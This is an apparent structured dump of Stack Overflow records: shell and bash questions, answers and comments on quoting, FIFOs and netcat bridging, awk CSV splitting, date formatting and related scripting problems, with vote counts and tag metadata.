has body: Imagine a microserver that is listening on some port. It receives ASCII newline-terminated requests and sends ASCII newline-terminated responses. Simple. Easy. Now imagine a simple script that prints a request on stdout and listens for a response on stdin: #!/bin/bash while true; do echo "A request" # send a request to the microserver via stdout read # block until a response is received from microserver via stdin echo "Server response is" $REPLY done [Of course this script could be written in C or Python or SNOBOL or whatnot, but the point is that it prints something on stdout and waits for a reply on stdin.] Given that, how would I connect stdout and stdin of this script to the socket / port # that the microserver is listening on? Assume that I'm running on a Linux-like system. I see hints that mkfifo or nc might be parts of the answer, but I've not been able to connect the dots.
has answer: http://stackoverflow.com/a/77078338
score: 0
tagged with: shell
tagged with: sockets
tagged with: bash
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/77078449
answer count: 2

http://stackoverflow.com/comment/135953703
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77120045
has text: you can't output your first chapter block until you've read the 2nd line of data, so you will then have the END time for the first block. Usually people store and swap to variables name like prev_chap_start, prev_chap_end, etc. I can get messy (-;. Good luck.

yq
tag name: yq
tags question: http://stackoverflow.com/q/77192433
tags question: http://stackoverflow.com/q/77211623
type: Tag
tags question: http://stackoverflow.com/q/78613834

http://stackoverflow.com/a/77094262
has body: Here is one solution to capturing how many times Ctrl-C has been pressed. I don't know if this answers your question because your question is ambiguous about what value you expect $number to hold before and after a Ctrl-C (SIGINT) event. In the example below I pressed Ctrl-C twice after defining the ctrl_c_handler function. > function ctrl_c_handler --on-signal INT echo "ctrl c" %self set -g number (math $number + 1) end > ctrl c 37990 > echo $number 1 > ctrl c 37990 > echo $number 2
score: 0
answers question: http://stackoverflow.com/q/77093883
type: Answer

http://stackoverflow.com/comment/136069756
type: Comment
comment on: http://stackoverflow.com/q/77184696
score: 0
has text: The outer loop cannot run 10 times because there are only 9 integers between 1 included and 10 excluded: 1, 2, ..., 9. Moreover, as you break the two loops with `break 2`, only 5 iterations of the inner loop, and one iteration of the outer loop will be executed. You forgot to explain what you want (please edit your question to add this) but if you want to break only the inner loop use `break 1` (or just `break`, it's the same).
type: QuestionComment

http://stackoverflow.com/comment/136105009
type: Comment
score: 1
comment on: http://stackoverflow.com/q/77204152
has text: [Don't parse `ls`](http://mywiki.wooledge.org/ParsingLs)
type: QuestionComment

http://stackoverflow.com/comment/135889573
type: Comment
has text: Well, the _obvious_ thing is `mdfind ... | head -n 1`
comment on: http://stackoverflow.com/q/77083171
type: QuestionComment
score: 0

http://stackoverflow.com/comment/136021799
has text: If you had run your code through http://shellcheck.net as the [tag:bash] tag you used tells you to do ("For shell scripts with syntax or other errors, please check them at https://shellcheck.net before posting them here.") it would have told you about the error in your code and the solution.
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/77156632

http://stackoverflow.com/a/77078338
downvote count: 1
has body: To connect the stdout and stdin of your script to a socket/port that the microserver is listening on, you can use a combination of nc (netcat) and named pipes (FIFOs). Here's how you can do it: Create a named pipe (FIFO) for both input (to send requests) and output (to receive responses). You can use mkfifo for this purpose. mkfifo request_fifo mkfifo response_fifo Modify your script to read from the request FIFO and write to the response FIFO: #!/bin/bash while true; do echo "A request" > request_fifo # send a request to the microserver via the request FIFO read < response_fifo # block until a response is received from microserver via the response FIFO echo "Server response is" $REPLY done Use nc to connect the microserver's socket to the request and response FIFOs. Run nc in the background to handle the communication between your script and the microserver. nc -l -p <port> < <(cat response_fifo) | while read line; do echo "$line" > request_fifo done > response_fifo & Replace <port> with the actual port number that your microserver is listening on. Now, when you run your script, it will send requests to the microserver via the request FIFO and receive responses via the response FIFO. The nc command acts as a bridge between the script and the microserver, forwarding data between the named pipes and the socket. Make sure to replace <port> with the actual port number used by your microserver, and ensure that the script and the nc command are running in the background as appropriate for your use case.
type: Answer
score: 0
answers question: http://stackoverflow.com/q/77078329
has comment: http://stackoverflow.com/comment/135904611
upvote count: 1

http://stackoverflow.com/comment/135936363
score: 0
has text: ls -a Get-ChildItem : Parameter cannot be processed because the parameter name 'a' is ambiguous. Possible matches include: -Attributes -Directory -File -Hidden -ReadOnly -System. At line:1 char:4 + ls -a + ~~ + CategoryInfo : InvalidArgument: (:) [Get-ChildItem], ParameterBindingException + FullyQualifiedErrorId : AmbiguousParameter,Microsoft.PowerShell.Commands.GetChildItemCommand
type: QuestionComment
comment on: http://stackoverflow.com/q/77105912
type: Comment

http://stackoverflow.com/comment/136034131
score: 0
comment on: http://stackoverflow.com/q/77161643
type: QuestionComment
type: Comment
has text: @Rava, `for d in */ ; do echo make-ffplay-script "$d" > myfindloop.sh; done` doesn't do what you want because the `myfindloop.sh` file is completely overwritten each time round the loop. Try `for d in */ ; do echo make-ffplay-script "$d"; done > myfindloop.sh` instead.

http://stackoverflow.com/comment/136091353
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77196684
has text: This means, the php (apache) user (in Ubuntu that's most likely www-data) has insufficient rights to access the dependencies. To verify that, try the (unsafe!) solution from the second comment here: https://stackoverflow.com/questions/65439528/wkhtmltopdf-gives-error-when-executed-with-apache-user
type: Comment

http://stackoverflow.com/comment/135962649
score: 0
type: QuestionComment
has text: Since the entries on the right-hand column are filenames, substituting the space would destroy filenames with a space in them. Your `cut` command should however not select field 2, but all fields starting with field 9 (filename), i.e. `cut -d ' ' -f 9-`.
type: Comment
comment on: http://stackoverflow.com/q/77124850

http://stackoverflow.com/comment/138443161
score: 0
has text: @user1934428, zsh can be put in POSIX compatible mode, and ksh is very close to POSIX even out-of-the-box. Most modern shells in the family implement supersets of POSIX sh -- writing to the POSIX spec is the best way to get code that _doesn't_ require rewriting to port between shells. (zsh is an exception in default mode, as it doesn't try to be compatible unless explicitly configured for it, but that lack of consideration towards interoperability is thankfully rare).
type: QuestionComment
comment on: http://stackoverflow.com/q/77118220
type: Comment

http://stackoverflow.com/comment/136093826
comment on: http://stackoverflow.com/q/77198302
score: 0
has text: Oh, one last thing -- as https://shellcheck.net/ advises, **always** make `cd` operations exit on failure; if you use `cd src || exit`, then you don't risk running later commands in the wrong directory if `cd` fails.
type: QuestionComment
type: Comment

http://stackoverflow.com/q/77159958
has title: Pull a set of numbers from array based on results from a previous query and variable
tagged with: math
score: 0
tagged with: shell
tagged with: search
answer count: 1
has answer: http://stackoverflow.com/a/77160081
has body: I am trying to get this script to search an output for two associated sets of information. The first is an item called HOMO, wherein it is the largest number from a list. That part I have down. Now this number is contained in one of many iterations that are characterized by a specific set of KPOINTS (for the sake of this we can just think of them as coordinates. the input file is formatted as such: """ 20 20 20 1 0.3771797E+02 0.8111539E-09 0.8111539E-09 0.1146494E-08 0.2500000E-15 1.0000000000000000E-004 CAR unknown system 184 30 112 0.1262379E-14 0.1262379E-14 0.1262379E-14 0.6944444E-02 1 -52.737972 1.000000 2 -52.737887 1.000000 3 -52.737557 1.000000 4 -52.737557 1.000000 5 -52.737551 1.000000 6 -52.737551 1.000000 7 -22.134925 1.000000 8 -22.134912 1.000000 9 -22.134705 1.000000 10 -22.134701 1.000000 11 -22.112640 1.000000 12 -22.112640 1.000000 13 -22.112639 1.000000 14 -22.112639 1.000000 15 -22.112491 1.000000 16 -22.112489 1.000000 17 -19.754983 1.000000 18 -19.753265 1.000000 19 -19.751830 1.000000 20 -19.750661 1.000000 21 -13.526690 1.000000 22 -13.420203 1.000000 23 -12.985365 1.000000 24 -12.985365 1.000000 25 -12.985077 1.000000 26 -12.981062 1.000000 27 -12.979421 1.000000 28 -12.979421 1.000000 29 -12.969164 1.000000 30 -12.810605 1.000000 31 -12.809732 1.000000 32 -12.807126 1.000000 33 -9.346640 1.000000 34 -9.250892 1.000000 35 -6.615379 1.000000 36 -6.615127 1.000000 37 -6.615127 1.000000 38 -6.576577 1.000000 39 -6.576577 1.000000 40 -6.566414 1.000000 41 -6.566414 1.000000 42 -6.566289 1.000000 43 -6.547741 1.000000 44 -6.547741 1.000000 45 -6.545170 1.000000 46 -6.533212 1.000000 47 -2.977552 1.000000 48 -2.975764 1.000000 49 -2.975764 1.000000 50 -2.894318 1.000000 51 -2.894318 1.000000 52 -2.758182 1.000000 53 -2.608094 1.000000 54 -2.572804 1.000000 55 -2.571006 1.000000 56 -2.568429 1.000000 57 -2.253087 1.000000 58 -2.206896 1.000000 59 -2.093700 1.000000 60 -2.093700 1.000000 61 -2.091105 1.000000 62 -1.972143 1.000000 63 -1.972143 1.0…
type: Question
type: UnansweredQuestion

http://stackoverflow.com/a/77142984
upvote count: 1
type: Answer
accepted answer of: http://stackoverflow.com/q/77142950
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/77142950
downvote count: 0
has comment: http://stackoverflow.com/comment/135994850
score: 1
has body: To get parameter expansion without wordsplitting, double quotes are used. Example: USERNAME=fluffy where_clause="where schemaname = '$USERNAME'" This sets the variable where_clause to the value where schemaname = 'fluffy'.

http://stackoverflow.com/q/77166714
tagged with: linux
tagged with: bash
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/136038145
has answer: http://stackoverflow.com/a/77167271
has body: $exec 3&lt;input.txt $sleep 60 &gt;&amp;3 &amp; [1] 32524 $ cd/proc/32534/fd $ ls -l lrwx------. 1 zhangchen zhangchen 64 Sep 24 18:29 0 -&gt; /dev/pts/0 lr-x------. 1 zhangchen zhangchen 64 Sep 24 18:29 1 -&gt; /home/zhangchen/input.txt lrwx------. 1 zhangchen zhangchen 64 Sep 24 18:29 2 -&gt; /dev/pts/0 lr-x------. 1 zhangchen zhangchen 64 Sep 24 18:29 3 -&gt; /home/zhangchen/input.txt $grep test_word &lt;&amp;3 test_word $grep test_word &lt;&amp;3 [nothing output] Isn't grep search the file using describer 1, why did grep change the file describer 3?
tagged with: grep
type: Question
accepted answer: http://stackoverflow.com/a/77167271
has comment: http://stackoverflow.com/comment/136038516
tagged with: shell
has answer: http://stackoverflow.com/a/77166869
has title: Why the file describer redirected changes after grep command?
has comment: http://stackoverflow.com/comment/136038491
score: 0
has comment: http://stackoverflow.com/comment/136038150
has comment: http://stackoverflow.com/comment/136038159
possible better answer: http://stackoverflow.com/a/77166869
answer count: 2

http://stackoverflow.com/comment/135893106
comment on: http://stackoverflow.com/q/77085340
score: 0
type: QuestionComment
has text: Always, *always* quote your variables.
type: Comment

http://stackoverflow.com/comment/135860180
has text: [Shellcheck](https://www.shellcheck.net/) identifies several problems with the code. The report includes links to more information about the problems and how to fix them. It's a good idea to run [Shellcheck](https://www.shellcheck.net/) on all new and modified shell code.
comment on: http://stackoverflow.com/q/77063978
type: QuestionComment
score: 2
type: Comment

http://stackoverflow.com/comment/135910992
has text: @Dspguysam what is the file permission for ```/absolute path/to/file/myfile.py```. can you try running the shell script using sudo privilege
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77095729

http://stackoverflow.com/q/77100689
answer count: 1
tagged with: unix
score: 0
has comment: http://stackoverflow.com/comment/135920595
tagged with: scripting
has body: Below is how my file looks like- User,Rights,Login_date A,Admin,12-SEP-23 A,Accountant,01-SEP-23 B,Admin,05-SEP-23 B,Clerk,31-AUG-23 ============================= Expected output after filter should be- User Rights Login_date A,Admin|Accountant,12-SEP-23 B,Admin|Clerk,05-SEP-23 I am able to filter the duplicates but unable to pipe the rights. enter image description here
has title: How to filter uniq rows and pipe data for some columns for those rows using unix?
type: Question
has answer: http://stackoverflow.com/a/77101166
tagged with: shell
type: UnansweredQuestion

http://stackoverflow.com/q/77224520
has answer: http://stackoverflow.com/a/77250709
has comment: http://stackoverflow.com/comment/136141855
tagged with: cmake
accepted answer: http://stackoverflow.com/a/77250709
possible better answer: http://stackoverflow.com/a/77224596
type: Question
tagged with: shell
upvote count: 0
tagged with: tesseract
tagged with: c++
has title: Trouble setting up TesseractOCR with Conan (& cmake)
answer count: 2
score: -1
tagged with: conan
has answer: http://stackoverflow.com/a/77224596
has body: I've been looking at the Conan 2 documentations, issues and threads, but I cannot manage to get Tesseract working with Conan. Let me show you my setup: App └── main.cpp CMakeLists.txt conanfile.txt main.cpp is the most basic PoC I could come up with: #include <tesseract/baseapi.h> int main(void) { tesseract::TessBaseAPI api; return 0; } My CMakeLists.txt: cmake_minimum_required(VERSION 3.11) # --------------------------------- Setup project config set(PROJECT_NAME foo) project(${PROJECT_NAME} CXX) set(CMAKE_CXX_STANDARD 20) # --------------------------------- Set project flags and optimization set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS} -g3 -O0 -W -Wall -Wextra") set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS} -g0 -O3") # --------------------------------- Fetch sources set(SOURCES App/main.cpp) # --------------------------------- Fetch dependencies find_package(Tesseract REQUIRED) message(STATUS "Tesseract_INCLUDE_DIRS: ${Tesseract_INCLUDE_DIRS}") message(STATUS "Tesseract_LIBRARIES: ${Tesseract_LIBRARIES}") message(STATUS "Tesseract_VERSION: ${Tesseract_VERSION}") # --------------------------------- Build binary add_executable(${PROJECT_NAME} ${SOURCES}) target_include_directories(${PROJECT_NAME} PUBLIC ${CMAKE_CURRENT_SOURCE_DIR}/App ${Tesseract_INCLUDE_DIRS} ) And finally my conanfile.txt (Leptonica is a direct dependecy of Tesseract): [requires] tesseract/5.3.0 leptonica/1.82.0 [generators] CMakeDeps CMakeToolchain Finally I just run the following commands (I usually do it with cmake then make, but these are the exact commands from the documentation): conan install . --output-folder=build/ --build=missing # [...] # Install finished successfully cmake -B build/ -S . -DCMAKE_TOOLCHAIN_FILE=build/conan_toolchain.cmake -DCMAKE_BUILD_TYPE=Debug # [...] # -- Tesseract_INCLUDE_DIRS: /Users/foo/.conan2/p/b/tesse4be5a6b24f5df/p/include # -- Tesseract_LIBRARIES: Tesseract::libtesseract # -- Tesseract_VERSION: 5.3.0 # [...] # -- Configuring done (0.9s) # -- Generating do…
favorite count: 0
downvote count: 1
type: AnsweredQuestion

http://stackoverflow.com/comment/135929501
score: 0
has text: No because you would allocate resources from the master (which shouldn't be used on a regular basis)
comment on: http://stackoverflow.com/a/77104607
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135995387
has text: @KevinC I tried on 3 systems, all work fine. It's possible that your `grep` doesn't support `-P`. In that case try e.g. `sed '/another_value/!d;s/.*=//'`.
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77141212

http://stackoverflow.com/comment/135911233
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77095729
has text: permission is -rwxr--r
type: Comment

http://stackoverflow.com/comment/136073585
score: 1
type: QuestionComment
type: Comment
has text: bash does not have multidimensional arrays. Why would you expect, that your code works?
comment on: http://stackoverflow.com/q/77186551

http://stackoverflow.com/comment/136179101
type: AnswerComment
score: 0
has text: `the values in E2:E4 in my worksheet 'Sheet1' do not change` May I know what's the expected change?
comment on: http://stackoverflow.com/a/77230785
type: Comment

http://stackoverflow.com/comment/135999076
has text: @Sibtain build_tag is not a environment var. It is defined inside the script file
score: 0
comment on: http://stackoverflow.com/q/77144870
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136002897
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77147299
has text: Already answered, and your tag is `bash`, not `zsh`. What's the point? This is 2 different shells. You seems to discover shell and want to give response on how to do things in shell? Should be in your own wiki/web page.
score: 1

http://stackoverflow.com/q/77211820
has comment: http://stackoverflow.com/comment/136120918
possible better answer: http://stackoverflow.com/a/77211884
upvote count: 0
tagged with: linux
favorite count: 0
downvote count: 1
type: AnsweredQuestion
has body: I have declared the following strings in my shell script #!/bin/bash DATE= date +"%d.%m.%Y" FILE_PREFIX="V_Articles_" FILE_EXTENSION=".json" I would like to combine these strings to generate a filename echo "$FILE_PREFIX$DATE_$FILE_EXTENSION" But no matter what I do, the date string would be printed on the first line and then the rest of the string would be printed on the second line. Output: 01.10.2023 V_Articles_.json If i try concatenating the strings like: echo $FILE_PREFIX+$DATE+$FILE_EXTENSION" I get the following output: 01.10.2023 V_Articles_++.json How can I get the desired output where the date would be included?
score: -1
linked to: http://stackoverflow.com/q/4651437
answer count: 2
has answer: http://stackoverflow.com/a/77211881
type: Question
tagged with: shell
duplicate of: http://stackoverflow.com/q/4651437
accepted answer: http://stackoverflow.com/a/77211881
has title: Concatenating strings in shell script
has answer: http://stackoverflow.com/a/77211884

http://stackoverflow.com/comment/136136995
type: Comment
score: 0
has text: BTW, many copies of top print a timestamp as part of their output. If the one you're using is onesuch, then you could arguably have a _continuous_ pipeline `top | awk` with awk splitting the output of top's polling operations into the output files without any `date` command, and without needing to restart `top` every time you want to add a line to each of your files. I would generally consider that style of approach ideal.
type: QuestionComment
comment on: http://stackoverflow.com/q/77217613

http://stackoverflow.com/q/77155986
has title: Is there any way to launch app downloaded from app store in iPhone using shell script in real devices
has answer: http://stackoverflow.com/a/77171753
has comment: http://stackoverflow.com/comment/136027719
answer count: 1
has body: Is there any way to launch app downloaded from app store in iPhone using shell script in real devices Tried running idevicedebug -u "$DEVICE_UDID" run "$APP_BUNDLE_ID" but getting error Please make sure to mount the developer disk image first: Get the iOS version from ideviceinfo -k ProductVersion. Find the matching iPhoneOS DeveloperDiskImage.dmg files. Run ideviceimagemounter with the above path. The os version of phone is 14.4.2 and xcode is 14
score: 0
tagged with: shell
tagged with: bundle-identifier
type: UnansweredQuestion
tagged with: ios
type: Question

http://stackoverflow.com/comment/136093317
comment on: http://stackoverflow.com/q/77197549
type: QuestionComment
has text: It's very likely that there's a better (more robust, less dangerous) way to do whatever it is you need to do than constructing a string then calling `eval` on it. If you create and post a [mcve] that demonstrates what you're doing using mandatory POSIX commands (i.e. `awk`, `sed`, `grep`, etc. rather than `aws`, `jq`, and `aha`) then we can help you as we'd all have those commands readily available to test with.
score: 0
type: Comment

http://stackoverflow.com/q/77211940
has body: I am trying to make a shell script that makes directories numbered from 01-13. I use command mkdir -p test/file{01..13} when I run command via shell script it names directories as 1,2,..,13 but when I use the command in shell itself, it names it correctly as 01,02,..,13. (see image below) Is there a way to fix this?
accepted answer: http://stackoverflow.com/a/77211956
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/136118352
downvote count: 2
has title: Shell - making directories - Shell script has different outcome then Shell
type: Question
tagged with: macos
tagged with: shell
has comment: http://stackoverflow.com/comment/136118365
answer count: 1
favorite count: 0
score: -2
has answer: http://stackoverflow.com/a/77211956
upvote count: 0

http://stackoverflow.com/comment/136172970
type: AnswerComment
score: 0
has text: @user3813400 `.awardDate` is taken directly from your input. You might want to provide a default value for the `null` case, e.g. `(.awardDate | (fromdate | strflocaltime("%Y-%m-%d"))? // null)`. Here's yet another [demo](https://jqplay.org/s/Ymz9DQJdZmw). Apart from that, especially without providing any actual data supporting it, the issue that ".awardDate seems to be a different type - hence failing" is beyond retraceability. You might want to ask a new question explicating this very issue, together with the data needed to reproduce it.
type: Comment
comment on: http://stackoverflow.com/a/77235822

http://stackoverflow.com/comment/136043909
type: Comment
has text: Hard do say without a [mcve], but two likely causes: **1** Quoting! Quote your variables! **2** Is the variable called `dir` or `dir_`? If you want to expand a variable followed by a `_` use curly brackets: `num4="${dir}_…"` [ShellCheck](https://www.shellcheck.net) is your friend!
type: QuestionComment
comment on: http://stackoverflow.com/q/77170094
score: 2

http://stackoverflow.com/q/77141159
has comment: http://stackoverflow.com/comment/135991577
has answer: http://stackoverflow.com/a/77146463
has comment: http://stackoverflow.com/comment/135991758
has title: Reverse search ini section
type: Question
tagged with: shell
upvote count: 0
has body: Assume this .ini file. [section_x] my_value=abc another_value=def [section_2] my_value=stv another_value=xyz [this_one] my_value=something another_value=sure Assume the system has the value something loaded in it's environment variable. Using bash, how can I search the .ini file to match the value, and then load that section, in this case this_one? Based on the section, it then loads another_value. In this case, the outcome would be sure. Another example for clarity: if the system had stv loaded in it's env, the outcome is xyz.
has comment: http://stackoverflow.com/comment/135992496
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135991564
score: -1
answer count: 4
tagged with: bash
has answer: http://stackoverflow.com/a/77142355
has comment: http://stackoverflow.com/comment/136237211
favorite count: 0
tagged with: ini
downvote count: 1
has comment: http://stackoverflow.com/comment/135991765
has answer: http://stackoverflow.com/a/77146907
has answer: http://stackoverflow.com/a/77141212

http://stackoverflow.com/comment/136052979
type: Comment
has text: I want count>0. Thanks for checking.
score: 0
comment on: http://stackoverflow.com/q/77169893
type: QuestionComment

http://stackoverflow.com/comment/136096918
type: Comment
has text: Not only does it seem to me a bad idea what you are going to do here, you get the quoting wrong: The opening quote in front of the `for` closes after the word `awk`. This means that `awk` receives a literal single quote (since you are escaping it with a backslash) as first parameter. This does not make sense.
comment on: http://stackoverflow.com/q/77197549
score: 0
type: QuestionComment

multidimensional-array
tags question: http://stackoverflow.com/q/77186551
type: Tag
tag name: multidimensional-array
tags question: http://stackoverflow.com/q/79379298

http://stackoverflow.com/a/77155793
score: 1
upvote count: 1
has body: One way is to use a heredoc to hold the JSON literal: cat > k.json <<'EOJ' { "attributes": {}, "children": [ { "attributes": { "ignoreBoundsFiltering": false }, "children": [ { "attributes": { "text": "", "accessibilityText": "Azione sull'account richiesta" } } ] } ] } EOJ (Note fixing the smart quotes in the "text": “” field, and a trailing comma after the last field in an object; what you have in your question is not valid JSON).
type: Answer
answers question: http://stackoverflow.com/q/77155640
downvote count: 0

boost-build
type: Tag
tag name: boost-build
tags question: http://stackoverflow.com/q/77231507

http://stackoverflow.com/q/77203420
has comment: http://stackoverflow.com/comment/136103160
has title: auto-apply permissions to any *.sh script
tagged with: zsh
score: 0
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/136104976
has comment: http://stackoverflow.com/comment/136103155
has comment: http://stackoverflow.com/comment/136104598
has comment: http://stackoverflow.com/comment/136103053
type: UnansweredQuestion
has body: I'm wondering if there is some magical mechanism that will allow me to apply UMASK settings to specific file types. It took many years but I'm finally irritated with running a chmod u+x script.sh on - every - single - script I write. So, the question is... How would one automatically apply the above permissions to any file with a .sh extension? If it matters, I'm on a macOS laptop with the latest bash/zsh binaries; the default shell is zsh.
has comment: http://stackoverflow.com/comment/136104493
has comment: http://stackoverflow.com/comment/136103018
has comment: http://stackoverflow.com/comment/136104855
has comment: http://stackoverflow.com/comment/136103028
answer count: 0
has comment: http://stackoverflow.com/comment/136103133
tagged with: bash
has comment: http://stackoverflow.com/comment/136106858

http://stackoverflow.com/comment/135971498
comment on: http://stackoverflow.com/a/77129524
has text: This is cleaner than my solution, and I feel bad since I got so close to your solution too. Thanks!
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/136051908
score: 0
has text: number of lines are not constant, it depends on the query provided by the user. It may be one line or multiple lines. Thank you for your support and time.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77173782

http://stackoverflow.com/q/77219500
score: 0
has comment: http://stackoverflow.com/comment/136133559
tagged with: shell
has title: How to format date string using shell script
has comment: http://stackoverflow.com/comment/136132841
has comment: http://stackoverflow.com/comment/136133518
has answer: http://stackoverflow.com/a/77221481
answer count: 1
has body: How to convert Sat Apr 27 11:33:57 CST 2024 -> 2024/09/27 I use date -d "Sat Apr 27 11:33:57 CST 2024"+"%Y%m%d", but not working
linked to: http://stackoverflow.com/q/29388671
type: Question
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/136132836

http://stackoverflow.com/comment/135892570
comment on: http://stackoverflow.com/a/77084613
has text: Note that `set -v` will print commands *before parsing*, while `set -x` prints them *after* parsing. So in OP's example, `-v` would print `foo="foo$bar"` while `-x` would print `foo='foowhatever $bar expanded to'`. You can set both, to get both versions of each command.
type: Comment
type: AnswerComment
score: 1

http://stackoverflow.com/a/77171386
has comment: http://stackoverflow.com/comment/136049593
has comment: http://stackoverflow.com/comment/136049057
accepted answer of: http://stackoverflow.com/q/77171157
score: 3
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/136046382
has comment: http://stackoverflow.com/comment/136045675
downvote count: 0
has comment: http://stackoverflow.com/comment/136045778
has comment: http://stackoverflow.com/comment/136045684
has comment: http://stackoverflow.com/comment/136045807
type: Answer
has body: The following assumes 1 byte characters. You apparently have structured data (CSV), so you cannot really split at 5MB because you will probably split in the middle of data lines. And considering that you want significantly more than just splitting, it's maybe time to use awk, instead of split: awk -v size="$(( 5 * 1024 * 1024 ))" -v suff="_$(date '+%Y%m%d%H%M%S').CSV" \ -v pref='TEST-REPORT-D-INR-TEMP_' ' NR == 1 {h = $0; size -= length + 11; next} NR == 2 {p = $0; next} s + length(p) + 1 > size && t < 1 {print "Error: max size too small"; exit} s + length(p) + 1 > size {print "T|" t > f; close(f); s = 0; t = 0} s == 0 {f = sprintf("%s%03d%s", pref, n, suff); print h > f; n += 1} {print p > f; s += length(p) + 1; t += 1; p = $0} END {print "T|" t > f; close(f)}' TEST-REPORT-D-INR-TEMP_20230905211012.CSV Step by step explanations: We declare and assign a set of variables (size, suff...) with the -v option. Other variables take a default value (0 for numeric values, empty strings for string values). When encountering the first input line (NR == 1) we store it in h, subtract its length plus 11 from size, and move to the next line. The 11 accounts for the footer and the two newline characters at the end of the header and footer. Adapt to your needs. When encountering the second line (NR == 2) we store it in p and move to the next. In the next steps we always work on the previous line in p, not the current one. This is a way to skip the last line that you don't want in your output. If the current size s is too large to add p and a newline character, but we did not add any line yet (t < 1) we print an error message and exit to avoid infinite loop. Else, if the current size s is too large to add p and a newline character, we print the footer, close the file, reset current size s and number of printed data lines t. If current size s is zero we compute the name of the next output file (f), print the header in it (print h > f) and increment the file index (n += 1). For all li…
upvote count: 3
answers question: http://stackoverflow.com/q/77171157
has comment: http://stackoverflow.com/comment/136045920

http://stackoverflow.com/a/77172020
type: Answer
answers question: http://stackoverflow.com/q/77171720
score: 0
has body: Maybe it is just because the environment has not installed bash yet? For example (not sure about your pod env): kubectl exec -it backstage-test01-5d877c7f54-425s6 -n customer-namespaces -- apk add bash A quick check: kubectl exec -it backstage-test01-5d877c7f54-425s6 -n customer-namespaces -- sh -c 'which yum || which apt-get || which apk' # e.g. /sbin/apk

http://stackoverflow.com/comment/136169321
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/77218203
has text: Worth noting [`lsof` does a great job of this](https://unix.stackexchange.com/questions/26887/lsof-and-listening-ports) without `grep` and `awk` involved.

http://stackoverflow.com/q/77063978
tagged with: debugging
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/77063992
has title: In Bash, how to define a list of directories and iterate through them?
has comment: http://stackoverflow.com/comment/135860218
type: Question
has comment: http://stackoverflow.com/comment/135860180
tagged with: validation
tagged with: shell
downvote count: 0
has body: #!/usr/bin/env bash declare -a DIR=("/Volumes/drive1", "/Volumes/drive2", "~/temp", "~/file1") [ -d "/Volumes/drive1" ] && echo "[DEBUG] 1" #set -x ## DEBUG for d in "${DIR[@]}"; do [ -d "${d}" ] && echo "[DEBUG] 2 ${d}" done When I run the script, it prints 1 but not 2. I've looked up on the Web for tutorials on directory validation and iterating through list of files and directories but still could not figure out what's wrong with my code. Any idea what is wrong?
score: 1
answer count: 1
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/135859611
tagged with: directory
has answer: http://stackoverflow.com/a/77063992
tagged with: bash
linked to: http://stackoverflow.com/q/673055

http://stackoverflow.com/q/77159678
score: 0
answer count: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/136025055
type: Question
type: UnansweredQuestion
has body: sed -Ei "s/( key="ak.scahma..name")></\1>$ak_pwd</" ,"s/( key="bk.schma.password1")></\1>$bk_pwd</" test.xml Error: sed: can't read ,: No such file or directory I need to add the xml tag value "bk.password" and "ak.password" in XML file by running a shell script. How can I achieve this using sed with single line? Give me an example please.
has title: How to add the multiple XML tag value using Shell script
has comment: http://stackoverflow.com/comment/136025889

http://stackoverflow.com/comment/136092561
has text: It would indeed happen if you had literal quotes around the value. But the quotes you show are processed by the shell where the assignment happens, they're not lierally in the value.
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/77197549

http://stackoverflow.com/comment/136104796
comment on: http://stackoverflow.com/q/77204012
type: QuestionComment
type: Comment
score: 0
has text: Hope you're not concerned about IPv6 addresses, as those do have a habit of appearing when you least expect them.

http://stackoverflow.com/comment/136036797
comment on: http://stackoverflow.com/q/77161643
type: Comment
score: 0
type: QuestionComment
has text: See also https://mywiki.wooledge.org/BashFAQ/020

http://stackoverflow.com/comment/136032270
has text: @JohnGordon Yeah, that works, if I `subprocess.call('"C:\...\bin\code" --folder-uri="...ALSO HAS SPACES..."')` (that, is, double-quote the strings with spaces). Wish I knew why it didn't work with the civilized list-of-commandline-parts way, but you could make your comment into an answer and I'll accept it.
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77163838
type: Comment

http://stackoverflow.com/q/77142950
score: 0
has title: how to expand variable within single quotes and would give output within single quotes using bash
tagged with: shell
has answer: http://stackoverflow.com/a/77142984
type: AnsweredQuestion
tagged with: bash
type: Question
answer count: 1
accepted answer: http://stackoverflow.com/a/77142984
has body: I would like to expand one variable in bash and would like to get result within single quotes itself. for example , my script below includes: sqlplus -s user/password select sys_context Where schemaname = '$USERNAME' I would like to expand it as: Where schemaname = 'XYZ_OWNER' I tried something like : where schemaname = "'""$USERNAME""'" But it is throwing me below error: where schemaname = "'"XYZ_OWNER""'" Please suggest how can this be resolved.

http://stackoverflow.com/q/77106862
upvote count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135932417
has comment: http://stackoverflow.com/comment/135932152
tagged with: sh
